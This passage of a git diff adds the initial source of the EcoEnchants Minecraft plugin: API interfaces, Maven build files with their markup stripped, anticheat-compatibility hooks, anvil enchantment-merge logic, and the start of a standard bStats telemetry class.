v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/BlockBreak.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Cooldown.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/CraftEnchantWrapper.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchant.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchantManager.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Target.java create mode 100644 v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/TridentStack.java create mode 100644 v1_16_R2/v1_16_R2.iml diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..af546679 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +# Project exclude paths +/API/target/ +/Plugin/target/ +/v1_15_R1/target/ +/v1_16_R1/target/ +/v1_16_R2/target/ \ No newline at end of file diff --git a/API/API.iml b/API/API.iml new file mode 100644 index 00000000..7914372f --- /dev/null +++ b/API/API.iml @@ -0,0 +1,30 @@ + + + + + + + SPIGOT + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/API/pom.xml b/API/pom.xml new file mode 100644 index 00000000..e3f99265 --- /dev/null +++ b/API/pom.xml @@ -0,0 +1,30 @@ + + + + parent + com.willfp.ecoenchants + 4.1.0-pre10 + ../pom.xml + + 4.0.0 + + + UTF-8 + + + API + EcoEnchants API + jar + + ${project.parent.version} + + + org.spigotmc + spigot-api + 1.16.1-R0.1-SNAPSHOT + provided + + + \ No newline at end of file diff --git a/API/src/main/java/com/willfp/ecoenchants/API/BlockBreakWrapper.java b/API/src/main/java/com/willfp/ecoenchants/API/BlockBreakWrapper.java new file mode 100644 index 00000000..be870076 --- /dev/null +++ b/API/src/main/java/com/willfp/ecoenchants/API/BlockBreakWrapper.java @@ -0,0 +1,8 @@ +package com.willfp.ecoenchants.API; + +import org.bukkit.block.Block; +import org.bukkit.entity.Player; + +public interface BlockBreakWrapper { + public void breakBlock(Player player, Block block); +} diff --git a/API/src/main/java/com/willfp/ecoenchants/API/CooldownWrapper.java b/API/src/main/java/com/willfp/ecoenchants/API/CooldownWrapper.java new file mode 100644 index 00000000..7ae09dd8 --- /dev/null +++ b/API/src/main/java/com/willfp/ecoenchants/API/CooldownWrapper.java @@ -0,0 +1,7 @@ +package com.willfp.ecoenchants.API; + +import org.bukkit.entity.Player; + +public interface CooldownWrapper { + double getAttackCooldown(Player player); +} diff --git a/API/src/main/java/com/willfp/ecoenchants/API/NMSEnchantManagerWrapper.java b/API/src/main/java/com/willfp/ecoenchants/API/NMSEnchantManagerWrapper.java new file mode 100644 index 00000000..f7e1cbfc --- /dev/null +++ b/API/src/main/java/com/willfp/ecoenchants/API/NMSEnchantManagerWrapper.java @@ -0,0 +1,8 @@ +package com.willfp.ecoenchants.API; + +import org.bukkit.enchantments.Enchantment; + +public interface NMSEnchantManagerWrapper { + void init(Enchantment enchantment); + void debug(); +} diff --git a/API/src/main/java/com/willfp/ecoenchants/API/TargetWrapper.java b/API/src/main/java/com/willfp/ecoenchants/API/TargetWrapper.java new file mode 100644 index 00000000..92ac700a --- /dev/null +++ b/API/src/main/java/com/willfp/ecoenchants/API/TargetWrapper.java @@ -0,0 +1,29 @@ +package com.willfp.ecoenchants.API; + +import org.bukkit.Material; + +import java.util.HashSet; +import java.util.Set; + +public interface TargetWrapper { + Set TOOL = new HashSet<>(); + Set ROD = new HashSet<>(); + Set ARMOR = new HashSet<>(); + Set ALL = new HashSet<>(); + Set AXE = new HashSet<>(); + Set BOOK = new HashSet<>(); + Set PICKAXE = new HashSet<>(); + Set HOE = new HashSet<>(); + Set SHOVEL = new HashSet<>(); + Set SWORD = new HashSet<>(); + Set HELMET = new HashSet<>(); + Set CHESTPLATE = new HashSet<>(); + Set LEGGINGS = new HashSet<>(); + Set BOOTS = new HashSet<>(); + Set ELYTRA = new HashSet<>(); + Set BOW = new HashSet<>(); + Set CROSSBOW = new HashSet<>(); + Set SHEARS = new HashSet<>(); + Set TRIDENT = new HashSet<>(); + Set SHIELD = new HashSet<>(); +} \ No newline at end of file diff --git a/API/src/main/java/com/willfp/ecoenchants/API/TridentStackWrapper.java b/API/src/main/java/com/willfp/ecoenchants/API/TridentStackWrapper.java new file mode 100644 index 00000000..c9730900 --- /dev/null +++ b/API/src/main/java/com/willfp/ecoenchants/API/TridentStackWrapper.java @@ -0,0 +1,8 @@ +package com.willfp.ecoenchants.API; + +import org.bukkit.entity.Trident; +import org.bukkit.inventory.ItemStack; + +public interface TridentStackWrapper { + ItemStack getTridentStack(Trident trident); +} \ No newline at end of file diff --git a/Plugin/plugin.iml b/Plugin/plugin.iml new file mode 100644 index 00000000..c8a2903f --- /dev/null +++ b/Plugin/plugin.iml @@ -0,0 +1,129 @@ + + + + + + + SPIGOT + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Plugin/pom.xml b/Plugin/pom.xml new file mode 100644 index 00000000..9b5faa67 --- /dev/null +++ b/Plugin/pom.xml @@ -0,0 +1,236 @@ + + + 4.0.0 + + + parent + com.willfp.ecoenchants + 4.1.0-pre10 + + + + plugin + jar + + EcoEnchants + + + 1.8 + UTF-8 + + + + clean package install + + + org.apache.maven.plugins + maven-compiler-plugin + 3.7.0 + + ${java.version} + ${java.version} + + + + org.apache.maven.plugins + maven-shade-plugin + 3.2.2 + + + package + + shade + + + false + + + + + + org.apache.maven.plugins + maven-javadoc-plugin + + + attach-javadocs + + jar + + + + + com.willfp.ecoenchants.enchantments.ecoenchants.* + + + + org.apache.maven.plugins + maven-install-plugin + 2.4 + + + install-external-non-maven1-jar + clean + + default + n3kas.ae + aeapi + 1.0.0 + ${project.parent.basedir}/lib/AdvancedEnchantments.jar + jar + true + + + install-file + + + + install-external-non-maven2-jar + clean + + default + me.vagdedes + SpartanAPI + 1.0.0 + ${project.parent.basedir}/lib/SpartanAPI.jar + jar + true + + + install-file + + + + + + + + src/main/resources + true + + + + + + + org.spigotmc + spigot-api + 1.15-R0.1-SNAPSHOT + provided + + + com.willfp.ecoenchants + API + ${project.parent.version} + compile + + + com.willfp.ecoenchants + v1_15_R1 + ${project.parent.version} + compile + + + com.willfp.ecoenchants + v1_16_R1 + ${project.parent.version} + compile + + + com.willfp.ecoenchants + v1_16_R2 + ${project.parent.version} + compile + + + org.apache.maven + maven-artifact + 3.0.3 + + + com.sk89q.worldguard + worldguard-bukkit + 7.0.4-SNAPSHOT + provided + + + com.destroystokyo.paper + paper-api + + + + + com.github.TechFortress + GriefPrevention + 16.14.0 + provided + + + com.massivecraft + Factions + 1.6.9.5-U0.5.13 + provided + + + com.github.TownyAdvanced + Towny + 0.96.2.0 + provided + + + com.github.angeschossen + LandsAPI + 4.7.3 + provided + + + org.jetbrains + annotations + 19.0.0 + compile + + + n3kas.ae + aeapi + 1.0.0 + provided + + + fr.neatmonster + nocheatplus + 3.16.1-SNAPSHOT + provided + + + de.janmm14 + aac-api + 4.2.0 + provided + + + com.github.jiangdashao + matrix-api-repo + 317d4635fd + provided + + + me.vagdedes + SpartanAPI + 1.0.0 + provided + + + com.google.code.gson + gson + 2.8.0 + provided + + + com.comphenix.protocol + ProtocolLib + 4.5.0 + provided + + + diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/Main.java b/Plugin/src/main/java/com/willfp/ecoenchants/Main.java new file mode 100644 index 00000000..16c62360 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/Main.java @@ -0,0 +1,96 @@ +package com.willfp.ecoenchants; + +import com.comphenix.protocol.ProtocolManager; +import com.willfp.ecoenchants.loader.Loader; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.HashMap; + +/** + * The Main class for EcoEnchants + */ +public class Main extends JavaPlugin { + private static Main instance; + + /** + * Config versions for config.yml and lang.yml + */ + public static final HashMap configVersions = new HashMap() {{ + put("config", 4.1); + put("lang", 4.01); + }}; + + /** + * Is the plugin outdated + */ + public static boolean outdated; + + /** + * Newest available plugin version + */ + public static String newVersion; + + /** + * Has worldguard? + */ + public static boolean hasWG; + + /** + * Has GriefPrevention? + */ + public static boolean hasGP; + + /** + * Has FactionsUUID? + */ + public static boolean hasFactionsUUID; + + /** + * Has Towny? + */ + public static boolean hasTowny; + + /** + * Has Lands? + */ + public static boolean hasLands; + + /** + * Has AdvancedEnchantments? + */ + public static boolean hasAE; + + /** + * ProtocolLib + */ + public ProtocolManager protocolManager; + + /** + * Calls {@link Loader#load()} + */ + public void onEnable() { + Loader.load(); + } + + /** + * Calls {@link Loader#unload()} + */ + public void onDisable() { + Loader.unload(); + } + + /** + * Sets instance + */ + public void onLoad() { + instance = this; + } + + /** + * Get plugin instance + * @return Plugin instance + */ + public static Main getInstance() { + return instance; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatManager.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatManager.java new file mode 100644 index 00000000..73dcc74b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatManager.java @@ -0,0 +1,30 @@ +package com.willfp.ecoenchants.anticheat; + +import com.willfp.ecoenchants.Main; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +public class AnticheatManager { + private static final Set anticheats = new HashSet<>(); + + public static void registerAnticheat(AnticheatWrapper anticheat) { + if(anticheat instanceof Listener) { + Bukkit.getPluginManager().registerEvents((Listener) anticheat, Main.getInstance()); + } + + anticheats.add(anticheat); + } + + public static void exemptPlayer(Player player) { + anticheats.forEach(anticheat -> anticheat.exempt(player)); + } + + public static void unexemptPlayer(Player player) { + anticheats.forEach(anticheat -> anticheat.unexempt(player)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatWrapper.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatWrapper.java new file mode 100644 index 00000000..2f09c805 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatWrapper.java @@ -0,0 +1,23 @@ +package com.willfp.ecoenchants.anticheat; + +import org.bukkit.entity.Player; + +public interface AnticheatWrapper { + /** + * Get the name of anticheat + * @return The name + */ + String getPluginName(); + + /** + * Exempt a player from checks + * @param player The player to exempt + */ + void exempt(Player player); + + /** + * Unexempt a player from checks + * @param player The player to unexempt + */ + void unexempt(Player player); +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatAAC.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatAAC.java new file mode 100644 index 00000000..df046f2b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatAAC.java @@ -0,0 +1,40 @@ +package com.willfp.ecoenchants.anticheat.anticheats; + +import com.willfp.ecoenchants.anticheat.AnticheatWrapper; +import me.konsolas.aac.api.PlayerViolationEvent; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; + +import java.util.HashSet; +import java.util.Set; +import java.util.UUID; + +public final class AnticheatAAC implements AnticheatWrapper, Listener { + private final Set exempt = new HashSet<>(); + + @Override + public String getPluginName() { + return "AAC"; + } + + @Override + public void exempt(Player player) { + this.exempt.add(player.getUniqueId()); + } + + @Override + public void unexempt(Player player) { + this.exempt.remove(player.getUniqueId()); + } + + @EventHandler(priority = EventPriority.LOWEST) + private void onViolate(PlayerViolationEvent event) { + if (!exempt.contains(event.getPlayer().getUniqueId())) { + return; + } + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatMatrix.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatMatrix.java new file mode 100644 index 00000000..fa026d4a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatMatrix.java @@ -0,0 +1,40 @@ +package com.willfp.ecoenchants.anticheat.anticheats; + +import com.willfp.ecoenchants.anticheat.AnticheatWrapper; +import me.rerere.matrix.api.events.PlayerViolationEvent; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; + +import java.util.HashSet; +import java.util.Set; +import java.util.UUID; + +public final class AnticheatMatrix implements AnticheatWrapper, Listener { + private final Set exempt = new HashSet<>(); + + @Override + public String getPluginName() { + return "Matrix"; + } + + @Override + public void exempt(Player player) { + this.exempt.add(player.getUniqueId()); + } + + @Override + public void unexempt(Player player) { + this.exempt.remove(player.getUniqueId()); + } + + @EventHandler(priority = EventPriority.LOWEST) + private void onViolate(PlayerViolationEvent event) { + if (!exempt.contains(event.getPlayer().getUniqueId())) { + return; + } + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatNCP.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatNCP.java new file mode 100644 index 00000000..878b0c63 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatNCP.java @@ -0,0 +1,37 @@ +package com.willfp.ecoenchants.anticheat.anticheats; + +import com.willfp.ecoenchants.anticheat.AnticheatWrapper; +import fr.neatmonster.nocheatplus.checks.CheckType; +import fr.neatmonster.nocheatplus.hooks.NCPExemptionManager; +import org.bukkit.entity.Player; + +import java.util.HashSet; +import java.util.Set; +import java.util.UUID; + +public final class AnticheatNCP implements AnticheatWrapper { + private final Set exempt = new HashSet<>(); + + @Override + public String getPluginName() { + return "NCP"; + } + + @Override + public void exempt(Player player) { + if (!NCPExemptionManager.isExempted(player, CheckType.ALL)) { + return; + } + + if (exempt.add(player.getUniqueId())) { + NCPExemptionManager.exemptPermanently(player, CheckType.ALL); + } + } + + @Override + public void unexempt(Player player) { + if (exempt.remove(player.getUniqueId())) { + NCPExemptionManager.unexempt(player, CheckType.ALL); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatSpartan.java b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatSpartan.java new file mode 100644 index 00000000..f21d03a9 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatSpartan.java @@ -0,0 +1,40 @@ +package com.willfp.ecoenchants.anticheat.anticheats; + +import com.willfp.ecoenchants.anticheat.AnticheatWrapper; +import me.vagdedes.spartan.api.PlayerViolationEvent; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; + +import java.util.HashSet; +import java.util.Set; +import java.util.UUID; + +public final class AnticheatSpartan implements AnticheatWrapper, Listener { + private final Set exempt = new HashSet<>(); + + @Override + public String getPluginName() { + return "Spartan"; + } + + @Override + public void exempt(Player player) { + this.exempt.add(player.getUniqueId()); + } + + @Override + public void unexempt(Player player) { + this.exempt.remove(player.getUniqueId()); + } + + @EventHandler(priority = EventPriority.LOWEST) + private void onViolate(PlayerViolationEvent event) { + if (!exempt.contains(event.getPlayer().getUniqueId())) { + return; + } + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilListeners.java new file mode 100644 index 00000000..414afba7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilListeners.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.anvil; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.util.Pair; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.PrepareAnvilEvent; +import org.bukkit.inventory.ItemStack; + +public class AnvilListeners implements Listener { + + @EventHandler(priority = EventPriority.HIGHEST) + public void onAnvilPrepare(PrepareAnvilEvent event) { + ItemStack left = event.getInventory().getItem(0); + ItemStack right = event.getInventory().getItem(1); + ItemStack out = event.getResult(); + String name = event.getInventory().getRenameText(); + + event.setResult(null); + event.getInventory().setItem(2, null); + + if(event.getViewers().isEmpty()) return; // Prevent ArrayIndexOutOfBoundsException when using AnvilGUI + + Player player = (Player) event.getViewers().get(0); + + Pair newOut = AnvilMerge.doMerge(left, right, out, name); + + if(newOut.getKey() == null) { + newOut.setKey(new ItemStack(Material.AIR, 0)); + } + + int modCost; + if(newOut.getValue() == null) { + modCost = 0; + } else { + modCost = newOut.getValue(); + } + + final int cost = modCost + event.getInventory().getRepairCost(); + + Bukkit.getScheduler().runTask(Main.getInstance(), () -> { + event.getInventory().setRepairCost(cost); + event.setResult(newOut.getKey()); + event.getInventory().setItem(2, newOut.getKey()); + player.updateInventory(); + }); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilMerge.java b/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilMerge.java new file mode 100644 index 00000000..c735c93a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilMerge.java @@ -0,0 +1,219 @@ +package com.willfp.ecoenchants.anvil; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.lore.EnchantLore; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.Pair; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.Damageable; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; + + +public class AnvilMerge { + + /** + * Merge items in anvil + * + * @param left The {@link ItemStack} on the left of the anvil + * @param right The {@link ItemStack} in the middle of the anvil + * @param old The previous {@link ItemStack} result + * @param name The anvil display name + * @return The result, stored as a {@link Pair} of {@link ItemStack} and {@link Integer}. + */ + public static Pair doMerge(ItemStack left, ItemStack right, ItemStack old, String name) { + // Here so it can be accessed later (scope) + + int outDamage = -1; + if(old != null) { + if (old.getItemMeta() instanceof Damageable) { + outDamage = ((Damageable) old.getItemMeta()).getDamage(); + } + } + + if(left == null) return new Pair<>(null, null); + + if(left.getEnchantments().containsKey(EcoEnchants.PERMANENCE_CURSE)) return new Pair<>(null, null); + + if(!Target.Applicable.ALL.getMaterials().contains(left.getType()) || right == null || !Target.Applicable.ALL.getMaterials().contains(right.getType())) { + ItemStack out = left.clone(); + ItemMeta outMeta = out.getItemMeta(); + outMeta.setDisplayName(name); + + if(left.getItemMeta().getDisplayName().equals(name)) { + + if(left.getItemMeta() instanceof Damageable) { + int leftDamage = ((Damageable) left.getItemMeta()).getDamage(); + + if(outDamage >= leftDamage || outDamage == -1) { + return new Pair<>(null, null); + } else { + ((Damageable) outMeta).setDamage(outDamage); + } + } else { + return new Pair<>(null, null); + } + if(right == null) { + return new Pair<>(null, null); + } + } + + out.setItemMeta(outMeta); + + if(out.equals(left)) return new Pair<>(null, null); + return new Pair<>(out, 0); + } + + if(left.getItemMeta() instanceof Damageable && right.getItemMeta() instanceof EnchantmentStorageMeta) { + outDamage = ((Damageable) left.getItemMeta()).getDamage(); + } + + if(!left.getType().equals(right.getType()) && !(right.getItemMeta() instanceof EnchantmentStorageMeta)) return new Pair<>(null, null); + + HashMap leftEnchants = new HashMap<>(); + HashMap rightEnchants = new HashMap<>(); + + Map outEnchants = new HashMap<>(); + + if(left.getItemMeta() instanceof EnchantmentStorageMeta) { + leftEnchants.putAll(((EnchantmentStorageMeta) left.getItemMeta()).getStoredEnchants()); + } else { + leftEnchants.putAll(left.getItemMeta().getEnchants()); + } + + if(right.getItemMeta() instanceof EnchantmentStorageMeta) { + rightEnchants.putAll(((EnchantmentStorageMeta) right.getItemMeta()).getStoredEnchants()); + } else { + rightEnchants.putAll(right.getItemMeta().getEnchants()); + } + + leftEnchants.forEach(((enchantment, integer) -> { + int level = integer; + + if(rightEnchants.containsKey(enchantment)) { + int rightLevel = rightEnchants.get(enchantment); + if(rightLevel > level) { + level = rightLevel; + } + else if(rightLevel == level) { + if(rightLevel > enchantment.getMaxLevel() && ConfigManager.getConfig().getBool("anvil.allow-combining-unsafe")) { + level++; + } else if((rightLevel + 1) <= enchantment.getMaxLevel() || ConfigManager.getConfig().getBool("anvil.allow-unsafe-levels")) { + level++; + } + } + rightEnchants.remove(enchantment); + } + + outEnchants.put(enchantment, level); + })); + + rightEnchants.forEach(((enchantment, integer) -> { + AtomicBoolean doesConflict = new AtomicBoolean(false); + + if(EcoEnchants.getFromEnchantment(enchantment) != null && EcoEnchants.getFromEnchantment(enchantment).getType().equals(EcoEnchant.EnchantmentType.SPECIAL) && EcoEnchants.hasAnyOfType(left, EcoEnchant.EnchantmentType.SPECIAL)) doesConflict.set(true); + if(EcoEnchants.getFromEnchantment(enchantment) != null && EcoEnchants.getFromEnchantment(enchantment).getType().equals(EcoEnchant.EnchantmentType.ARTIFACT) && EcoEnchants.hasAnyOfType(left, EcoEnchant.EnchantmentType.ARTIFACT)) doesConflict.set(true); + + leftEnchants.forEach(((enchantment1, integer1) -> { + if(enchantment.conflictsWith(enchantment1)) doesConflict.set(true); + if(enchantment1.conflictsWith(enchantment)) doesConflict.set(true); + })); + + boolean canEnchantItem = enchantment.canEnchantItem(left); + if(left.getItemMeta() instanceof EnchantmentStorageMeta) canEnchantItem = true; + + if(canEnchantItem && !doesConflict.get()) { + outEnchants.put(enchantment, integer); + } + })); + + // Test if the output is the same as left + if(outEnchants.equals(leftEnchants) && left.getItemMeta().getDisplayName().equals(name)) { + if(left.getItemMeta() instanceof Damageable) { + int leftDamage = ((Damageable) left.getItemMeta()).getDamage(); + + if(outDamage == leftDamage) { + return new Pair<>(null, null); + } + } + } + + ItemStack output = left.clone(); + + if(output.getItemMeta() instanceof EnchantmentStorageMeta) { + EnchantmentStorageMeta meta = (EnchantmentStorageMeta) output.getItemMeta(); + meta.getStoredEnchants().forEach(((enchantment, integer) -> { + meta.removeStoredEnchant(enchantment); + })); + + outEnchants.forEach(((enchantment, integer) -> { + meta.addStoredEnchant(enchantment, integer, ConfigManager.getConfig().getBool("anvil.allow-existing-unsafe-levels") || ConfigManager.getConfig().getBool("anvil.allow-unsafe-levels")); + })); + + meta.setDisplayName(name); + + output.setItemMeta(meta); + } else { + ItemMeta meta = output.getItemMeta(); + meta.getEnchants().forEach(((enchantment, integer) -> { + meta.removeEnchant(enchantment); + })); + + outEnchants.forEach(((enchantment, integer) -> { + meta.addEnchant(enchantment, integer, ConfigManager.getConfig().getBool("anvil.allow-existing-unsafe-levels") || ConfigManager.getConfig().getBool("anvil.allow-unsafe-levels")); + })); + + if(output.getItemMeta() instanceof Damageable) { + ((Damageable) meta).setDamage(outDamage); + } + + meta.setDisplayName(name); + + output.setItemMeta(meta); + } + + + // Calculate difference in enchant levels + int totalEnchantLevelDelta; + AtomicInteger outEnchantLevels = new AtomicInteger(); + AtomicInteger inEnchantLevels = new AtomicInteger(); + + outEnchants.forEach(((enchantment, integer) -> { + if(EcoEnchants.getFromEnchantment(enchantment) != null) { + outEnchantLevels.addAndGet(integer); + } + })); + leftEnchants.forEach((((enchantment, integer) -> { + if(EcoEnchants.getFromEnchantment(enchantment) != null) { + outEnchantLevels.addAndGet(integer); + } + }))); + + totalEnchantLevelDelta = Math.abs(outEnchantLevels.intValue() - inEnchantLevels.intValue()); + + if(output.equals(left)) return new Pair<>(null, null); + + if(ConfigManager.getConfig().getBool("anvil.cost-exponent.enabled")) { + double exponent = ConfigManager.getConfig().getDouble("anvil.cost-exponent.exponent"); + int prevDelta = totalEnchantLevelDelta; + + double costMultiplier = Math.pow(exponent, totalEnchantLevelDelta); + double modifiedCost = Math.ceil((double) totalEnchantLevelDelta * costMultiplier); + totalEnchantLevelDelta = (int) modifiedCost; + + if(prevDelta > 0 && totalEnchantLevelDelta == 0) { + totalEnchantLevelDelta = prevDelta; + } + } + + return new Pair<>(output, totalEnchantLevelDelta); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/bstats/Metrics.java b/Plugin/src/main/java/com/willfp/ecoenchants/bstats/Metrics.java new file mode 100644 index 00000000..04f46714 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/bstats/Metrics.java @@ -0,0 +1,727 @@ +package com.willfp.ecoenchants.bstats; + +import com.google.gson.JsonArray; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.google.gson.JsonPrimitive; +import org.bukkit.Bukkit; +import org.bukkit.configuration.file.YamlConfiguration; +import org.bukkit.entity.Player; +import org.bukkit.plugin.Plugin; +import org.bukkit.plugin.RegisteredServiceProvider; +import org.bukkit.plugin.ServicePriority; + +import javax.net.ssl.HttpsURLConnection; +import java.io.*; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.concurrent.Callable; +import java.util.logging.Level; +import java.util.zip.GZIPOutputStream; + +/** + * bStats collects some data for plugin authors. + *

+ * Check out https://bStats.org/ to learn more about bStats! + */ +@SuppressWarnings({"WeakerAccess", "unused"}) +public class Metrics { + + static { + // You can use the property to disable the check in your test environment + if (System.getProperty("bstats.relocatecheck") == null || !System.getProperty("bstats.relocatecheck").equals("false")) { + // Maven's Relocate is clever and changes strings, too. So we have to use this little "trick" ... :D + final String defaultPackage = new String( + new byte[]{'o', 'r', 'g', '.', 'b', 's', 't', 'a', 't', 's', '.', 'b', 'u', 'k', 'k', 'i', 't'}); + final String examplePackage = new String(new byte[]{'y', 'o', 'u', 'r', '.', 'p', 'a', 'c', 'k', 'a', 'g', 'e'}); + // We want to make sure nobody just copy & pastes the example and use the wrong package names + if (Metrics.class.getPackage().getName().equals(defaultPackage) || Metrics.class.getPackage().getName().equals(examplePackage)) { + throw new IllegalStateException("bStats Metrics class has not been relocated correctly!"); + } + } + } + + // The version of this bStats class + public static final int B_STATS_VERSION = 1; + + // The url to which the data is sent + private static final String URL = "https://bStats.org/submitData/bukkit"; + + // Is bStats enabled on this server? + private final boolean enabled; + + // Should failed requests be logged? + private static boolean logFailedRequests; + + // Should the sent data be logged? + private static boolean logSentData; + + // Should the response text be logged? + private static boolean logResponseStatusText; + + // The uuid of the server + private static String serverUUID; + + // The plugin + private final Plugin plugin; + + // The plugin id + private final int pluginId; + + // A list with all custom charts + private final List charts = new ArrayList<>(); + + /** + * Class constructor. + * + * @param plugin The plugin which stats should be submitted. + * @param pluginId The id of the plugin. + * It can be found at What is my plugin id? + */ + public Metrics(Plugin plugin, int pluginId) { + if (plugin == null) { + throw new IllegalArgumentException("Plugin cannot be null!"); + } + this.plugin = plugin; + this.pluginId = pluginId; + + // Get the config file + File bStatsFolder = new File(plugin.getDataFolder().getParentFile(), "bStats"); + File configFile = new File(bStatsFolder, "config.yml"); + YamlConfiguration config = YamlConfiguration.loadConfiguration(configFile); + + // Check if the config file exists + if (!config.isSet("serverUuid")) { + + // Add default values + config.addDefault("enabled", true); + // Every server gets it's unique random id. + config.addDefault("serverUuid", UUID.randomUUID().toString()); + // Should failed request be logged? + config.addDefault("logFailedRequests", false); + // Should the sent data be logged? + config.addDefault("logSentData", false); + // Should the response text be logged? + config.addDefault("logResponseStatusText", false); + + // Inform the server owners about bStats + config.options().header( + "bStats collects some data for plugin authors like how many servers are using their plugins.\n" + + "To honor their work, you should not disable it.\n" + + "This has nearly no effect on the server performance!\n" + + "Check out https://bStats.org/ to learn more :)" + ).copyDefaults(true); + try { + config.save(configFile); + } catch (IOException ignored) { + } + } + + // Load the data + enabled = config.getBoolean("enabled", true); + serverUUID = config.getString("serverUuid"); + logFailedRequests = config.getBoolean("logFailedRequests", false); + logSentData = config.getBoolean("logSentData", false); + logResponseStatusText = config.getBoolean("logResponseStatusText", false); + + if (enabled) { + boolean found = false; + // Search for all other bStats Metrics classes to see if we are the first one + for (Class service : Bukkit.getServicesManager().getKnownServices()) { + try { + service.getField("B_STATS_VERSION"); // Our identifier :) + found = true; // We aren't the first + break; + } catch (NoSuchFieldException ignored) { + } + } + // Register our service + Bukkit.getServicesManager().register(Metrics.class, this, plugin, ServicePriority.Normal); + if (!found) { + // We are the first! + startSubmitting(); + } + } + } + + /** + * Checks if bStats is enabled. + * + * @return Whether bStats is enabled or not. + */ + public boolean isEnabled() { + return enabled; + } + + /** + * Adds a custom chart. + * + * @param chart The chart to add. + */ + public void addCustomChart(CustomChart chart) { + if (chart == null) { + throw new IllegalArgumentException("Chart cannot be null!"); + } + charts.add(chart); + } + + /** + * Starts the Scheduler which submits our data every 30 minutes. + */ + private void startSubmitting() { + final Timer timer = new Timer(true); // We use a timer cause the Bukkit scheduler is affected by server lags + timer.scheduleAtFixedRate(new TimerTask() { + @Override + public void run() { + if (!plugin.isEnabled()) { // Plugin was disabled + timer.cancel(); + return; + } + // Nevertheless we want our code to run in the Bukkit main thread, so we have to use the Bukkit scheduler + // Don't be afraid! The connection to the bStats server is still async, only the stats collection is sync ;) + 